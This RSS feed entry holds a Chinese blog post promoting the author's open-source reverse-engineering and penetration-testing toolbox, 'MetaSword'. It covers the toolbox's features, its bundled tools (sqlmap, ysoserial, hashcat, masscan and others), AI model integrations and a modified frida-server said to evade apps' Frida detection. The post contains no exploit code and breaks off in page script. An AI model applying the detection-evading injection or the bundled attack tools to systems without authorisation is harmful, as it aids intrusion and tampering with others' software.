<?xml version="1.0" encoding="UTF-8" ?>
<rss version="2.0"
xmlns:content="http://purl.org/rss/1.0/modules/content/"
xmlns:dc="http://purl.org/dc/elements/1.1/"
xmlns:atom="http://www.w3.org/2005/Atom"
xmlns:slash="http://purl.org/rss/1.0/modules/slash/">
<channel>
<title>WELCOME TO VOXSHADOW BLOG `</title>
<link>https://www.52tt.pro/</link>
<description>发光的神 ✦ 博客小窝</description>
<atom:link href="https://www.52tt.pro/rss.xml" rel="self" type="application/rss+xml" />
<lastBuildDate>Mon, 17 Aug 2026 10:44:32 +0800</lastBuildDate>
<item>
<title>【工具分享】逆向工具箱 - 次元剑</title>
<link>https://www.52tt.pro/index.php/archives/1409/</link>
<guid isPermaLink="false">https://www.52tt.pro/index.php/archives/1409/</guid>
<pubDate>Thu, 09 Jul 2026 20:50:00 +0800</pubDate>
<dc:creator>发光的神</dc:creator>
<category><![CDATA[工具分享]]></category>
<category><![CDATA[逆向工程]]></category>
<category><![CDATA[Web安全]]></category>
<category><![CDATA[渗透测试]]></category>
<category><![CDATA[红队技术]]></category>
<category><![CDATA[黑客工具]]></category>
<description><![CDATA[{callout color="#54b5db"}
🍭 次元剑 - 最新版本：v1.0.9
{/callout}
留言
B站我改名了从 “ACT忆梦” 换成了 发光的神，我换名字挺快的，基本都会有神字。
不敢太高调，“神” 对于我来说还是太遥远了，所以还是...]]></description>
<content:encoded><![CDATA[
<p>{callout color="#54b5db"}
🍭 次元剑 - 最新版本：<code>v1.0.9</code>
{/callout}</p>
<h2>留言</h2>
<p>B站我改名了从 “ACT忆梦” 换成了 发光的神，我换名字挺快的，基本都会有神字。
不敢太高调，“神” 对于我来说还是太遥远了，所以还是为成神而努力发光吧。📖</p>
<p>!!!</p>
<img align="center" src="https://www.52tt.pro/usr/uploads/2024/11/1025532779.png" alt="墩墩">    
!!!
<p>{mtitle title="你好，我是墩墩"/}</p>
<h4>中二的故事</h4>
<p><img src="https://www.52tt.pro/usr/uploads/2026/01/1627329843.png" alt="mk4tucz7.png" /></p>
<p>在浩瀚如星空的网络世界里，有一把神剑，它的名字深深印在那些敢于挑战者的心中。<code>“次元剑（MetaSword）”</code>是一把二次元的剑，它的诞生，早已超越了技术的范畴，力量与智慧的象征，是数不清的传奇故事交织而成的。创造者已经消失在历史的长河中，渐渐的被遗忘 。</p>
<p>次元剑，它见证了时代的变迁，承载着前人奋斗的足迹，每一代工匠的锤炼，都让它更加锋利。从最初的锻造到今天，它经历了无数次的进化与提升，每一次的蜕变，都是对未来挑战的预演。</p>
<p>它的锋利，永远不会随着时间的推移而削弱。随着科技的飞速进步，它会不断蜕变，每一次更新，都是一次力量的觉醒。无论是面对艰难的逆向工程，还是扑朔迷离的渗透测试，次元剑总能以无可匹敌的敏捷，帮助使用者克服所有的困难，打破障碍，突破极限。</p>
<p>次元剑真正的力量，不是技术的完美，是来源于使用者的勇气与智慧。
只有那些敢于迎接挑战、敢于突破常规的人，才能真正激发出次元剑的无尽潜能。</p>
<p>最后让我们一起 “手握次元剑，仗梦走星辰” 吧。
我还有句更酷的话：“手握次元剑，踏破九重天”。</p>
<h4>心中的剑</h4>
<p>“次元剑” 这个名字听起来可能有些中二，我给它赋予这个名字大部分原因是跟动漫有关，因为天马行空的想法和创意，只有在动漫里会出现，我想让它像动漫一样，拥有无限的可能性。工具箱的动态 Logo 来自于<code>《刀剑神域》（Sword Art Online）</code>。我很喜欢这部动漫作品，第一次看到主角使用星爆气流斩时，这就是男主角，总能给大家带来希望。他的坚定与勇气激励了我。作为主角的他每次总能化险为夷。我觉得，他的强大并不是来自外界，而是他的信念，还有他自己想守护的东西。</p>
<p>除了日漫还有国漫，我比较喜欢<code>斗破苍穹三年之约</code>里药老的几句话：
<em>“当你紧握双手，里面什么也没有，当你打开双手，世界就在你手中。”</em>
<em>“这个世界才没有什么真正的强者，有的只是想要变强的人。”</em>
<em>“如果想要真正把剑挥出去，就要把心里的事放下。”</em>　　
<em>“我想，挥剑和专注做事一样，应该就是把心里的顾虑全部放下。”</em>　　</p>
<p>这么多年过去，初心没变。身边的人来了又走，经历了很多事，但人不能总活在回忆里，就算一个人，也要一直向前走。
我还是那个热爱计算机技术的人，喜欢钻技术难题，连我自己都没想到，这件事竟然坚持了这么久。
看到这里的你，如果是<code>初学者</code>，请一定要相信，你也可以。</p>
<h4>幻想爽文</h4>
<p>!!!</p>
<style>
  .iframe-wrap-one{
    width: 100%;
    height: 68vh;
    margin: 10px 0 0;
    border-radius: 12px;
    overflow: hidden;
    box-shadow: 0 8px 24px rgba(0,0,0,.12);
  }
  .iframe-wrap-one iframe{
    width: 100%;
    height: 100%;
    border: 0;
  }
</style>
<div class="iframe-wrap-one">
  <iframe src="https://www.52tt.pro/tools/book/"></iframe>
</div>
<br>
!!!
<h2>设计初衷</h2>
<h4>次元剑官网</h4>
<p><img src="https://www.52tt.pro/usr/uploads/2026/02/1438635779.png" alt="mls3re4u.png" /></p>
<p>{abtn icon="fa-ravelry" color="#000000" href="<a href="https://www.52tt.pro/tools/sword/">https://www.52tt.pro/tools/sword/</a>" radius="" content="次元剑 - 逆流而上 | 点击进入"/} </p>
<p>技术可以垃，但一定要有B格，主要是自己写的有成就感些，工具整合后，查找起来更加方便啦！</p>
<p><img src="https://www.52tt.pro/usr/uploads/2026/04/3373289919.png" alt="mo3t141n.png" /></p>
<p>{abtn icon="fa-book" color="#e10000" href="<a href="https://www.52tt.pro/tools/sword/docs/">https://www.52tt.pro/tools/sword/docs/</a>" radius="" content="次元剑 - 使用教程 | 点击进入"/} </p>
<p>次元剑出鞘，这个故事，才刚刚开始。</p>
<h4>水墨特效</h4>
<p><img src="https://pic1.imgdb.cn/item/6893fe9058cb8da5c80babf0.webp" alt="水墨特效" /> </p>
<p>次元剑自带水墨启动特效，默认是开启的。如果你想关闭它，或者调整动画速度，都可以在设置中修改。</p>
<h2>基本功能</h2>
<p>{tabs}
{tabs-pane label="次元・起源"}
!!!</p>
<style>
    .flex-center-one {
        display: flex;
        justify-content: center;
        align-items: center;
    }
    .flex-center-one img {
        width: 550px;
        height: auto;
    }
</style>
<div class="flex-center-one">
  <img src="https://www.52tt.pro/usr/uploads/2025/08/2006586841.png" alt="次元・起源">
</div>
!!!
主界面采用动感背景纹理 + 双剑视觉元素，精致且富有冲击力。Logo 灵感源自《刀剑神域》，界面边缘辅以 MetaSword 次元剑专属标识，整体风格鲜明、沉浸感更强。
{/tabs-pane}
{tabs-pane label="工具分类"}
<p>!!!</p>
<style>
    .flex-center-two {
        display: flex;
        justify-content: center;
        align-items: center;
    }
    .flex-center-two img {
        width: 543px;
        height: auto;
    }
</style>
<div class="flex-center-two">
  <img src="https://pic1.imgdb.cn/item/69ccf5ed0d45b9ceac3e3a05.webp" alt="工具分类">
</div>
!!!
<p>工具分类采用了我个人偏好的方式设计，主要是为了使用更顺手。
当然，也可能存在一些小bug，哈哈哈。</p>
<table>
<thead>
<tr>
<th style="text-align: left;">模块名称</th>
<th style="text-align: left;">核心工具</th>
<th style="text-align: left;">适用场景</th>
</tr>
</thead>
<tbody>
<tr>
<td style="text-align: left;">Reverse（逆向分析）</td>
<td style="text-align: left;">IDA Pro、x64dbg、Cheat Engine</td>
<td style="text-align: left;">程序反编译、动态调试、内存修改、漏洞挖掘</td>
</tr>
<tr>
<td style="text-align: left;">PenTest（渗透测试）</td>
<td style="text-align: left;">Yakit、Tscan</td>
<td style="text-align: left;">信息收集、漏洞扫描、渗透测试、安全评估</td>
</tr>
<tr>
<td style="text-align: left;">Language（编程语言）</td>
<td style="text-align: left;">Python、Java、C/C++ 环境</td>
<td style="text-align: left;">脚本编写、代码编译、快速调试</td>
</tr>
<tr>
<td style="text-align: left;">Other（杂项工具）</td>
<td style="text-align: left;">文件管理、环境检测、格式转换</td>
<td style="text-align: left;">辅助开发、系统配置、多场景适配</td>
</tr>
<tr>
<td style="text-align: left;">Frida IDE（代码编辑器）</td>
<td style="text-align: left;">魔改 Frida-Server</td>
<td style="text-align: left;">动态注入、脚本调试、数据解密</td>
</tr>
</tbody>
</table>
<p>{/tabs-pane}
{tabs-pane label="右键菜单"}</p>
<p>!!!</p>
<div class="flex-center-two">
  <img src="https://pic1.imgdb.cn/item/69ccf9150d45b9ceac3e4df7.webp" alt="右键菜单">
</div>
!!!
<p>每个工具都支持右键菜单，可以打开程序存放位置，跟以管理员身份运行。
{/tabs-pane}
{tabs-pane label="批量删除"}</p>
<p>!!!</p>
<div class="flex-center-two">
  <img src="https://pic1.imgdb.cn/item/69ce10dbed194a3563c37f33.webp" alt="设置面板">
</div>
!!!
<p>按住鼠标左键可选中工具批量删除，直接拖动可调整工具位置。</p>
<p>{/tabs-pane}</p>
<p>{/tabs-pane}
{tabs-pane label="基础计算"}</p>
<p>!!!</p>
<div class="flex-center-two">
  <img src="https://pic1.imgdb.cn/item/69cdbe410d45b9ceac40d416.webp" alt="基础计算">
</div>
!!!
<h2>一、基础计算</h2>
<p>直接输入表达式，<strong>Enter</strong> 计算，结果自动回填。</p>
<ul>
<li>支持：<code>+ - * / ( )</code> 与数字、空格</li>
<li>示例：<code>1+5</code>→<code>6</code>、<code>(100+200)*3</code>→<code>900</code></li>
</ul>
<h2>二、进制转换（仅支持 2/8/10/16 进制，英文括号）</h2>
<ol>
<li>十进制转其他：<code>(数字, 目标进制)</code><br />
例：<code>(4132,2)</code>→二进制</li>
<li>任意互转：<code>(数字, 原进制, 目标进制)</code><br />
例：<code>(FF,16,10)</code>→<code>255</code></li>
</ol>
<ul>
<li>十六进制大小写通用，支持空格</li>
</ul>
<h2>三、AI 问答</h2>
<p>输入问题，按 <strong>Ctrl+Enter</strong> 提问，回答逐字显示。</p>
<ul>
<li>冷却 2 秒，不可连续提问</li>
</ul>
<h2>使用步骤</h2>
<ol>
<li>进入<strong>工具页</strong> → 激活顶部搜索框</li>
<li>计算/进制转换：<strong>Enter</strong></li>
<li>AI 问答：<strong>Ctrl+Enter</strong></li>
</ol>
<h2>注意事项</h2>
<ul>
<li>必须使用<strong>英文括号</strong></li>
<li>结果会直接替换输入框内容</li>
</ul>
<p>{/tabs-pane}
{tabs-pane label="窗口拉伸"}
!!!</p>
<div class="flex-center-two">
  <img src="https://pic1.imgdb.cn/item/69cde2c10d45b9ceac41bf2a.webp" alt="窗口拉伸">
</div>
!!!
<p>主界面支持自由拉伸，窗口大小可根据使用习惯灵活调整（并记录最后一次关闭时的窗口尺寸）。
{/tabs-pane}
{tabs-pane label="设置面板"}</p>
<p>!!!</p>
<div class="flex-center-two">
  <img src="https://pic1.imgdb.cn/item/69cdbfbc0d45b9ceac40dc51.webp" alt="设置面板">
</div>
!!!
<p>水墨开场特效可在设置面板开关，支持主题切换、MCP 配置、DeepSeek AI 设置，新增关于软件区域。</p>
<p>{/tabs-pane}
{tabs-pane label="关于作者"}</p>
<p>!!!</p>
<div class="flex-center-two">
  <img src="https://pic1.imgdb.cn/item/69cdc1450d45b9ceac40e651.webp" alt="关于作者">
</div>
!!!
<p>点击头像即可跳转到我的博客，头像文字还带有一点故障风的动画效果。</p>
<p>{/tabs-pane}
{/tabs}</p>
<h4>次元主题</h4>
<p>!!!</p>
<style>
  .iframe-wrap-two{
    width: 100%;
    height: 55vh;
    overflow: hidden;
    border-radius: 12px;
  }
  .iframe-wrap-two iframe{
    width: 100%;
    height: 100%;
    border: 0;
  }
</style>
<div class="iframe-wrap-two">
  <iframe src="https://www.52tt.pro/tools/sword/Pic3d.html"></iframe>
</div>
!!!
<h4>Frida 编辑器（过检测版）</h4>
<p>{message type="info" content="本内容仅用于学习与演示，请勿用于任何违法行为。"/}</p>
<p><img src="https://www.52tt.pro/usr/uploads/2026/01/390223471.png" alt="mk4xt0tn.png" /></p>
<p>在工具栏中点击顶部导航栏 Frida IDE，即可打开 Frida Hook 代码编辑器。</p>
<p>{tabs}
{tabs-pane label="次元剑 Frida"}
<img src="https://pic1.imgdb.cn/item/6960e1f93278aeeee21df652.webp" alt="Frida-Hook" /> 
{/tabs-pane}
{tabs-pane label="官方 Frida"}
<img src="https://pic1.imgdb.cn/item/6960e53d3278aeeee21df72f.webp" alt="Frida-GF" /> 
{/tabs-pane}
{/tabs}</p>
<p>次元剑内置魔改版 frida-server，并结合启动注入方式，官方 Frida 注入会被立即干掉，魔改版可无视此类检测。</p>
<p>{tabs}
{tabs-pane label="启动（Spawn）"}</p>
<p><img src="https://pic1.imgdb.cn/item/6891ce7b58cb8da5c8066704.webp" alt="mdyby3s3" />  </p>
<p>在 Android 上，提供启动（Spawn）与 附加（Attach）两种注入模式，可选择直接附加正在运行的应用。</p>
<p>{/tabs-pane}
{tabs-pane label="附加（Attach）"}
<img src="https://pic1.imgdb.cn/item/689340e058cb8da5c80a2a7a.webp" alt="mdyby3s2.png" />
{/tabs-pane}</p>
<p>{tabs-pane label="AI 代码编写"}</p>
<p><img src="https://pic1.imgdb.cn/item/68932f4358cb8da5c809cbff.webp" alt="AI代码编写" /> </p>
<p>在 Windows 上可通过输入 PID 或拖拽程序进行注入，支持已启动和新启动的进程。
次元剑内置 <strong>FridaIDE</strong> 模块专为动态注入与脚本开发而设计，简洁高效，适配多平台与调试场景：</p>
<ul>
<li>✅ <strong>支持主流模拟器</strong>：兼容雷电、MuMu 等，无需繁琐配置即可注入运行。</li>
<li>✅ <strong>Windows 与 Android 双平台调试</strong>：一键注入目标进程，快速启动 Hook。</li>
<li>✅ <strong>内置脚本补全引擎</strong>：涵盖 Java、ObjC、Memory、Module 等 API，辅助高效编写。</li>
<li>✅ <strong>集成 DeepSeek R1</strong>：AI 帮你生成 Hook 脚本逻辑，轻松上手。</li>
<li>✅ <strong>调试输出高亮显示</strong>：关键信息一目了然，快速定位调试重点。</li>
<li>
<p>轻量化集成，功能完整，助你快速完成 Frida 脚本编写与注入。</p>
</li>
</ul>
<p>{/tabs-pane}
{/tabs}</p>
<h4>AI 智能体</h4>
<p>{tabs}
{tabs-pane label="DeepSeek-v4-Pro/Flash（支持 Agent）"}</p>
<p>!!!</p>
<style>
    .flex-center-three {
        display: flex;
        justify-content: center;
        align-items: center;
    }
    .flex-center-three img {
        width: 100%;
        height: auto;
    }
</style>
<div class="flex-center-three">
  <img src="https://pic1.imgdb.cn/item/6a3fcf9f2546dff76d1ea236.webp" alt="DeepSeek">
</div>
<br>
!!!
<p>前往 DeepSeek 官网获取 API key → 添加至设置 → 即可开启 AI 智能体功能。</p>
<h4>操作步骤</h4>
<p><img src="https://www.52tt.pro/usr/uploads/2025/08/3373332983.png" alt="mez9fjak.png" /></p>
<p>1.先到 <a href="https://platform.deepseek.com/api_keys">https://platform.deepseek.com/api_keys</a> 进行创建 API key。</p>
<p>!!!</p>
<div class="flex-center-two">
  <img src="https://www.52tt.pro/usr/uploads/2025/08/627432113.png" alt="设置面板">
</div>
!!!
<p>2.填入 API key 后点击保存即可使用（无需重启次元剑）。</p>
<p>{/tabs-pane}</p>
<p>{tabs-pane label="ChatGPT 3.5"}</p>
<p>!!!</p>
<style>
    .flex-center-four {
        display: flex;
        justify-content: center;
        align-items: center;
    }
    .flex-center-four img {
        width: 75%;
        height: auto;
    }
</style>
<div class="flex-center-four">
  <img src="https://pic1.imgdb.cn/item/6a3fd33c2546dff76d1ea406.webp" alt="ChatGPT 3.5">
</div>
!!!
<p>只是 3.5，不是 4.5？ 等我发达先。</p>
<p>{/tabs-pane}</p>
<p>{tabs-pane label="本地/远程 Ollama"}</p>
<p><img src="https://www.52tt.pro/usr/uploads/2026/01/3715267765.png" alt="mk6tzt3o.png" /></p>
<p>推荐模型：<code>qwen2.5-coder:14b</code>，参数越大越好（当然你的电脑够给力），小点的模型回复挺憨憨的。</p>
<h4>操作步骤</h4>
<p><img src="https://www.52tt.pro/usr/uploads/2025/10/2877942555.png" alt="mgen8j2f.png" /></p>
<p>1.访问 Ollama 官网： <a href="https://ollama.com/download，下载并安装">https://ollama.com/download，下载并安装</a> Ollama 程序。</p>
<p><img src="https://www.52tt.pro/usr/uploads/2025/10/2491910739.png" alt="mgeniwn3.png" /></p>
<p>2.安装完成 Ollama 后，按下 Ctrl + R，输入 cmd 并回车打开命令提示符窗口，然后运行以下命令：</p>
<pre><code class="language-cmd">ollama pull qwen2.5-coder:14b</code></pre>
<p>模型下载完成后，重启次元剑即可显示本地模型。
更多模型可在官网查看：<a href="https://ollama.com/search">https://ollama.com/search</a></p>
<p>{/tabs-pane}</p>
<p>{tabs-pane label="GPT-OSS:120b"}
【无图】在线模型，可直接使用。
{/tabs-pane}
{/tabs}</p>
<h4>MCP &amp; Trae</h4>
<p>{tabs}
{tabs-pane label="效果展示"}
<img src="https://pic1.imgdb.cn/item/69cdcb160d45b9ceac4128b5.png" alt="MCP" />
{/tabs-pane}</p>
<p>{tabs-pane label="配置教程"}</p>
<h4>操作步骤</h4>
<p><img src="https://pic1.imgdb.cn/item/69cdcc760d45b9ceac41327f.png" alt="MCP配置1" /></p>
<p>1.打开 Trae → 设置 → 选择 MCP，启用手动配置。</p>
<p><img src="https://pic1.imgdb.cn/item/69cdce0a0d45b9ceac413ec9.png" alt="MCP配置2" /></p>
<p>2.打开次元剑 → 设置 → 点击 MCP 配置复制参数，粘贴到 Trae 并确认即可。</p>
<p>{/tabs-pane}
{/tabs}</p>
<h4>开发者工具</h4>
<p><img src="https://pic1.imgdb.cn/item/69cdd0e30d45b9ceac415572.png" alt="开发者工具" /></p>
<p>次元剑基于 Electron 框架开发，本质上可以看作一个浏览器应用，按下 Ctrl + P 即可打开内置的开发者工具。</p>
<h4>程序源码</h4>
<p><img src="https://www.52tt.pro/usr/uploads/2025/08/3512333406.png" alt="mdzhciue.png" /></p>
<p>当然，你们也可以随意修改或添加功能，源码已开源，尽情发挥吧！</p>
<h4>源码结构</h4>
<p>!!!</p>
<style>
.dircard{background:#fff;border:1px solid #e5e7eb;border-radius:12px;padding:12px 14px;box-shadow:0 4px 16px rgba(0,0,0,.05)}
@media (prefers-color-scheme: dark){.dircard{background:#0b0f14;color:#e5e7eb;border-color:#263241}}
.codegrid{display:grid;grid-template-columns:auto 1fr;column-gap:16px;row-gap:.1em}
.left{white-space:pre;tab-size:2}
.right{color:#6b7280;white-space:pre-wrap}
.k{color:#4f9e28;}
</style>
<div class="dircard">
  <div class="codegrid">
    <div class="left"><span class="k">app</span></div><div class="right"> 🗂️ 核心源码</div>
<pre><code>&lt;div class="left"&gt;├─ Core               &lt;/div&gt;&lt;div class="right"&gt; 🧩 主程序核心：应用逻辑、进程管理、功能调度&lt;/div&gt;
&lt;div class="left"&gt;│  ├─ MetaSword.js     &lt;/div&gt;&lt;div class="right"&gt; ⚔️ 主入口：应用初始化、模块加载、生命周期&lt;/div&gt;
&lt;div class="left"&gt;│  └─ MCPFunc.js        &lt;/div&gt;&lt;div class="right"&gt; 🔧 MCP 功能注册与调度中心&lt;/div&gt;

&lt;div class="left"&gt;├─ Nexus              &lt;/div&gt;&lt;div class="right"&gt; 🖼️ 主界面框架：UI 渲染 + 用户交互核心&lt;/div&gt;

&lt;div class="left"&gt;│  ├─ Assets          &lt;/div&gt;&lt;div class="right"&gt; 🎨 公共资源库（全局共用素材）&lt;/div&gt;
&lt;div class="left"&gt;│  │  ├─ Image        &lt;/div&gt;&lt;div class="right"&gt; 🖼️ 公共图片、图标、背景资源&lt;/div&gt;
&lt;div class="left"&gt;│  │  ├─ Sounds       &lt;/div&gt;&lt;div class="right"&gt; 🎵 音效、提示音资源&lt;/div&gt;
&lt;div class="left"&gt;│  │  └─ Videos       &lt;/div&gt;&lt;div class="right"&gt; 🎬 动画、启动视频资源&lt;/div&gt;

&lt;div class="left"&gt;│  ├─ CSS             &lt;/div&gt;&lt;div class="right"&gt; 🎨 全局样式：布局、皮肤、响应式适配&lt;/div&gt;
&lt;div class="left"&gt;│  ├─ Fonts           &lt;/div&gt;&lt;div class="right"&gt; 🔡 全局字体库&lt;/div&gt;
&lt;div class="left"&gt;│  │  └─ FontAwesome  &lt;/div&gt;&lt;div class="right"&gt; 🔠 图标字体库&lt;/div&gt;
&lt;div class="left"&gt;│  │      ├─ css      &lt;/div&gt;&lt;div class="right"&gt; 🎨 FA 样式文件&lt;/div&gt;
&lt;div class="left"&gt;│  │      ├─ fonts    &lt;/div&gt;&lt;div class="right"&gt; 🔡 字体文件&lt;/div&gt;
&lt;div class="left"&gt;│  │      ├─ less     &lt;/div&gt;&lt;div class="right"&gt; 🧩 Less 源文件&lt;/div&gt;
&lt;div class="left"&gt;│  │      └─ scss     &lt;/div&gt;&lt;div class="right"&gt; 🎛️ SCSS 源文件&lt;/div&gt;

&lt;div class="left"&gt;│  ├─ JS              &lt;/div&gt;&lt;div class="right"&gt; 📜 全局脚本核心&lt;/div&gt;
&lt;div class="left"&gt;│  │  ├─ AceMain      &lt;/div&gt;&lt;div class="right"&gt; ⚡ Ace 代码编辑器：补全、高亮、调试&lt;/div&gt;
&lt;div class="left"&gt;│  │  │  └─ snippets  &lt;/div&gt;&lt;div class="right"&gt; ✂️ 代码片段库&lt;/div&gt;
&lt;div class="left"&gt;│  │  └─ prismjs      &lt;/div&gt;&lt;div class="right"&gt; 🌈 代码语法高亮引擎&lt;/div&gt;
&lt;div class="left"&gt;│  │      ├─ components&lt;/div&gt;&lt;div class="right"&gt; 🧩 高亮组件&lt;/div&gt;
&lt;div class="left"&gt;│  │      └─ themes    &lt;/div&gt;&lt;div class="right"&gt; 🎨 高亮主题&lt;/div&gt;
&lt;div class="left"&gt;│  └─ Views           &lt;/div&gt;&lt;div class="right"&gt; 🖥️ 主界面模板：页面结构、弹窗、布局&lt;/div&gt;
&lt;div class="left"&gt;│      └─ config      &lt;/div&gt;&lt;div class="right"&gt; ⚙️ 界面配置：视图参数、布局预设&lt;/div&gt;

&lt;div class="left"&gt;├─ Plugins            &lt;/div&gt;&lt;div class="right"&gt; 🔌 插件扩展&lt;/div&gt;

&lt;div class="left"&gt;│  ├─ claude           &lt;/div&gt;&lt;div class="right"&gt; 🤖 Claude Code 集成&lt;/div&gt;
&lt;div class="left"&gt;│  │  ├─ .claude       &lt;/div&gt;&lt;div class="right"&gt; ⚙️ Claude 配置中心&lt;/div&gt;
&lt;div class="left"&gt;│  │  │  ├─ projects  &lt;/div&gt;&lt;div class="right"&gt; 📁 项目上下文记忆库&lt;/div&gt;
&lt;div class="left"&gt;│  │  │  ├─ sessions  &lt;/div&gt;&lt;div class="right"&gt; 📝 会话记录与历史&lt;/div&gt;
&lt;div class="left"&gt;│  │  │  └─ skills    &lt;/div&gt;&lt;div class="right"&gt; 🧰 安全审计技能包（PHP/.NET/CTF）&lt;/div&gt;
&lt;div class="left"&gt;│  │  ├─ AppData       &lt;/div&gt;&lt;div class="right"&gt; 💾 应用数据持久化&lt;/div&gt;
&lt;div class="left"&gt;│  │  └─ Cache         &lt;/div&gt;&lt;div class="right"&gt; 🚀 本地缓存&lt;/div&gt;

&lt;div class="left"&gt;│  ├─ CLI              &lt;/div&gt;&lt;div class="right"&gt; 🛠️ 命令行工具集（内嵌运行环境）&lt;/div&gt;
&lt;div class="left"&gt;│  │  ├─ apktool      &lt;/div&gt;&lt;div class="right"&gt; 📦 Android APK 反编译/重打包&lt;/div&gt;
&lt;div class="left"&gt;│  │  ├─ arp-scan     &lt;/div&gt;&lt;div class="right"&gt; 🌐 ARP 网络扫描与发现&lt;/div&gt;
&lt;div class="left"&gt;│  │  ├─ curl         &lt;/div&gt;&lt;div class="right"&gt; 🍭 HTTP/网络请求调试&lt;/div&gt;
&lt;div class="left"&gt;│  │  ├─ dnSpy        &lt;/div&gt;&lt;div class="right"&gt; 🧬 .NET 反编译/调试/修改&lt;/div&gt;
&lt;div class="left"&gt;│  │  ├─ exiftool     &lt;/div&gt;&lt;div class="right"&gt; 📷 文件元数据读写/取证&lt;/div&gt;
&lt;div class="left"&gt;│  │  ├─ frida-tools  &lt;/div&gt;&lt;div class="right"&gt; ⚡ Frida 动态插桩工具链&lt;/div&gt;
&lt;div class="left"&gt;│  │  ├─ fuff         &lt;/div&gt;&lt;div class="right"&gt; 🕷️ Web 目录/文件模糊测试&lt;/div&gt;
&lt;div class="left"&gt;│  │  ├─ hashcat      &lt;/div&gt;&lt;div class="right"&gt; 🔐 GPU 哈希破解引擎&lt;/div&gt;
&lt;div class="left"&gt;│  │  ├─ masscan      &lt;/div&gt;&lt;div class="right"&gt; ⚡ 超高速端口扫描器&lt;/div&gt;
&lt;div class="left"&gt;│  │  ├─ radare2      &lt;/div&gt;&lt;div class="right"&gt; 🏴 反汇编/二进制分析框架&lt;/div&gt;
&lt;div class="left"&gt;│  │  ├─ sqlmap       &lt;/div&gt;&lt;div class="right"&gt; 💉 SQL 注入自动化检测与利用&lt;/div&gt;
&lt;div class="left"&gt;│  │  ├─ strings      &lt;/div&gt;&lt;div class="right"&gt; 🔎 二进制字符串提取&lt;/div&gt;
&lt;div class="left"&gt;│  │  ├─ tshark       &lt;/div&gt;&lt;div class="right"&gt; 🦈 网络协议分析（Wireshark CLI）&lt;/div&gt;
&lt;div class="left"&gt;│  │  ├─ upx          &lt;/div&gt;&lt;div class="right"&gt; 📦 可执行文件加壳/脱壳&lt;/div&gt;
&lt;div class="left"&gt;│  │  ├─ volatility3  &lt;/div&gt;&lt;div class="right"&gt; 🧠 内存取证分析框架&lt;/div&gt;
&lt;div class="left"&gt;│  │  ├─ wafw00f      &lt;/div&gt;&lt;div class="right"&gt; 🛡️ Web 应用防火墙识别&lt;/div&gt;
&lt;div class="left"&gt;│  │  └─ ysoserial    &lt;/div&gt;&lt;div class="right"&gt; 💥 Java 反序列化漏洞利用&lt;/div&gt;

&lt;div class="left"&gt;│  └─ frida            &lt;/div&gt;&lt;div class="right"&gt; 🧩 Frida 动态插桩插件&lt;/div&gt;
&lt;div class="left"&gt;│      ├─ Exten        &lt;/div&gt;&lt;div class="right"&gt; ⚙️ 运行依赖（Frida 运行时库）&lt;/div&gt;
&lt;div class="left"&gt;│      └─ Script       &lt;/div&gt;&lt;div class="right"&gt; 📝 Hook 脚本仓库&lt;/div&gt;

&lt;div class="left"&gt;└─ Theme              &lt;/div&gt;&lt;div class="right"&gt; 🎨 多主题皮肤中心&lt;/div&gt;
&lt;div class="left"&gt;    ├─ Cover           &lt;/div&gt;&lt;div class="right"&gt; 🖼️ 主题封面资源&lt;/div&gt;
&lt;div class="left"&gt;    ├─ Fate            &lt;/div&gt;&lt;div class="right"&gt; 🕑 命运主题&lt;/div&gt;
&lt;div class="left"&gt;    ├─ Origin          &lt;/div&gt;&lt;div class="right"&gt; 🐳 起源主题&lt;/div&gt;
&lt;div class="left"&gt;    ├─ Reimu           &lt;/div&gt;&lt;div class="right"&gt; 🏳️‍🌈 灵梦主题&lt;/div&gt;
&lt;div class="left"&gt;    ├─ Ziya            &lt;/div&gt;&lt;div class="right"&gt; 🟣 紫雅 · 源主题&lt;/div&gt;
&lt;div class="left"&gt;    └─ Ziya Grey       &lt;/div&gt;&lt;div class="right"&gt; ⚪ 紫雅 · 灰主题&lt;/div&gt;

&lt;div class="left"&gt;        ├─ Assets      &lt;/div&gt;&lt;div class="right"&gt; 🎨 主题专属资源&lt;/div&gt;
&lt;div class="left"&gt;        │  └─ Image    &lt;/div&gt;&lt;div class="right"&gt; 🖼️ 主题图片、角色立绘&lt;/div&gt;
&lt;div class="left"&gt;        ├─ CSS         &lt;/div&gt;&lt;div class="right"&gt; 🎨 主题样式&lt;/div&gt;
&lt;div class="left"&gt;        └─ Views       &lt;/div&gt;&lt;div class="right"&gt; 🖥️ 界面布局&lt;/div&gt;</code></pre>
</div>
</div>
<br>
!!!
<h2>项目开源</h2>
<p><img src="https://www.52tt.pro/usr/uploads/2026/01/1777202291.png" alt="mk4sfc40.png" /></p>
<p>项目已上传至 GitHub，可直接替换次元剑 app 文件夹，即可完成版本更新。
感兴趣的朋友欢迎点个 Star，我将持续更新视频教程与次元剑功能。若你有好的建议，随时可以联系我哦~</p>
<p>!!!</p>
<style>
    .toast-container {
        position: fixed;
        top: 130px;
        left: 50%;
        transform: translateX(-50%);
        z-index: 9999;
        max-width: 520px;
        width: 100%;
    }
<pre><code>.toast {
    background-color: #0f141e;
    color: #e6edf7;
    padding: 14px 20px;
    margin-bottom: 16px;
    border-radius: 10px;
    border: 1px solid #272f3f;
    display: flex;
    justify-content: space-between;
    align-items: center;
    box-shadow: 0 0 16px rgba(139, 92, 246, 0.18);
    opacity: 0;
    transform: translateY(-40px) scale(0.96);
    transition: opacity 0.4s ease, transform 0.4s cubic-bezier(0.2, 0, 0.2, 1);
    font-size: 14px;
}

.toast.show {
    opacity: 1;
    transform: translateY(0) scale(1);
}

.toast .close-btn {
    background: none;
    border: none;
    color: #7c8798;
    font-size: 20px;
    cursor: pointer;
    padding: 2px 6px;
    margin-left: 16px;
    border-radius: 6px;
    transition: all 0.25s ease;
}

.toast .close-btn:hover {
    transform: scale(1.15);
    color: #ff5656;
    background: rgba(255, 86, 86, 0.1);
}

.toast .message {
    font-size: 15px;
    line-height: 1.6;
    flex-grow: 1;
}

.highlight-green { 
    color: #22c55e; 
    text-shadow: 0 0 6px rgba(34, 197, 94, 0.35);
    font-weight: 600;
}
.highlight-purple { 
    color: #a78bfa; 
    text-shadow: 0 0 8px rgba(139, 92, 246, 0.4);
    font-weight: 600;
}</code></pre>
</style>
<div class="toast-container" id="toastContainer"></div>
<script>
    function showToast(message, duration = 5000) {
        const toastContainer = document.getElementById('toastContainer');
        const toast = document.createElement('div');
        toast.classList.add('toast');
<pre><code>    const messageElement = document.createElement('span');
    messageElement.classList.add('message');
    messageElement.innerHTML = message;
    toast.appendChild(messageElement);

    const closeButton = document.createElement('button');
    closeButton.textContent = '×';
    closeButton.classList.add('close-btn');
    closeButton.onclick = () =&gt; {
